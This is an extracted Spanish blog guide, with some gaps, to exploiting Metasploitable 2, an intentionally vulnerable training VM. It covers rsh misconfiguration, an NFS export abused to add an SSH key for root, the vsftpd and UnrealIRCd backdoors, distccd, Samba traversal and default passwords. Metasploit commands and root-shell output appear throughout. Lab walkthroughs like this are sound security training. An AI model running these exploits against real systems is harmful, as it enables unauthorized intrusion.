Documentos de Académico
Documentos de Profesional
Documentos de Cultura
HackNode
You can hack some stuff too!
Este documento se seguirá ampliando con el tiempo a medida que muchos de los defectos
menos evidentes en esta plataforma se vayan encontrando.
Primeros Pasos
msfadmin@metasploitable:~$ ifconfig
Servicios
Los puertos TCP 512, 513, y 514 son conocidos como los servicios "r", y han sido
configurados erróneamente para permitir acceso remoto desde cualquier máquina (una
situación típica ".rhosts + +"). Para tomar ventaja de esto, nos aseguraremos de que el
cliente rsh-client se encuentre instalado (en Ubuntu), y ejecutamos el siguiente comando
como usuario root local. Si se nos solicita una llave SSH, esto significa que las herramientas
rsh-client no han sido instaladas y Ubuntu está predeterminando a utilizar SSH.
Esto se pone tan bueno como se vé. El próximo servicio que debe tener en cuenta es el
sistema de archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049
directamente o pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo
usando rpcinfo para identificar NFS y showmount -e para determinar que el recurso
compartido "/" (la raíz del sistema de archivos) estará siendo exportado. Necesitaremos los
paquetes de Ubuntu rpcbind y nfs-common para seguir adelante.
Obtener acceso a un sistema con un sistema de archivos modificable como este es algo
trivial. Para que sea así (y porque SSH está ejecutándose), generaremos una nueva llave
SSH en nuestro sistema atacante, montamos el export NFS y agregamos nuestra llave al
archivo authorized_keys de la cuenta de usuario root:
root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
root@metasploitable:~#
Servicios: Backdoors
En el puerto 21, Metasploitable 2 ejecuta vsftpd, un servidor FTP popular. Esta versión en
particular contiene una puerta trasera (backdoor) que fue introducida en el código fuente por
un intruso desconocido. El backdoor fue rápidamente identificado y eliminado, pero no antes
de que unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es
enviado terminando con la secuencia " :) " (carita felíz), la versión con el backdoor abrirá una
shell en escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un
módulo de Metasploit Framework para explotarlo automáticamente:
En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versión contiene
un backdoor que pasó desapercibido por meses, - disparado al enviar las letras "AB"
seguidas de un comando del sistema al servidor en cualquier puerto en escucha. Metasploit
https://hacknode.blogspot.com/2012/06/guia-de-explotabilidad-de.html 3/6
15/3/2021 HackNode: Guía de Explotabilidad de Metasploitable 2
tiene un módulo para explotar esto con el fin de obtener una shell interactiva, como se
muestra a continuación.
msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700
id
uid=0(root) gid=0(root)
Mucho menos sutíl es el viejo backdoor remanente "ingreslock" que escucha en el puerto
1524. El puerto ingreslock era una opción popular hace una década para agregar una puerta
trasera a un servidor comprometido. Accederlo es fácil:
Además de las puertas traseras maliciosas de la sección anterior, algunos servicios son casi
puertas traseras por su propia naturaleza. El primero de estos que está instalado en
Metasploitable 2 es distccd. Este programa hace que sea fácil escalar grandes tareas de
compilación a través de una granja de sistemas que aparentan estar configurados para tal
fin. El problema con este servicio es que un atacante puede abusar de este para ejecutar un
comando a su elección, como lo demuestra el uso del módulo de Metasploit a continuación.
msfconsole
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.99.131
msf exploit(distcc_exec) > exploit
https://hacknode.blogspot.com/2012/06/guia-de-explotabilidad-de.html 4/6
15/3/2021 HackNode: Guía de Explotabilidad de Metasploitable 2
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf auxiliary(samba_symlink_traversal) > exploit
Contraseñas Débiles
Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido
con el nombre de usuario postgres y contraseña postgres, mientras que el servicio
de MySQL está abierto con el nombre de usuario root y con una contraseña en blanco. El
servicio de VNC proporciona el acceso de escritorio remoto a través de la
contraseña password.
https://hacknode.blogspot.com/2012/06/guia-de-explotabilidad-de.html 6/6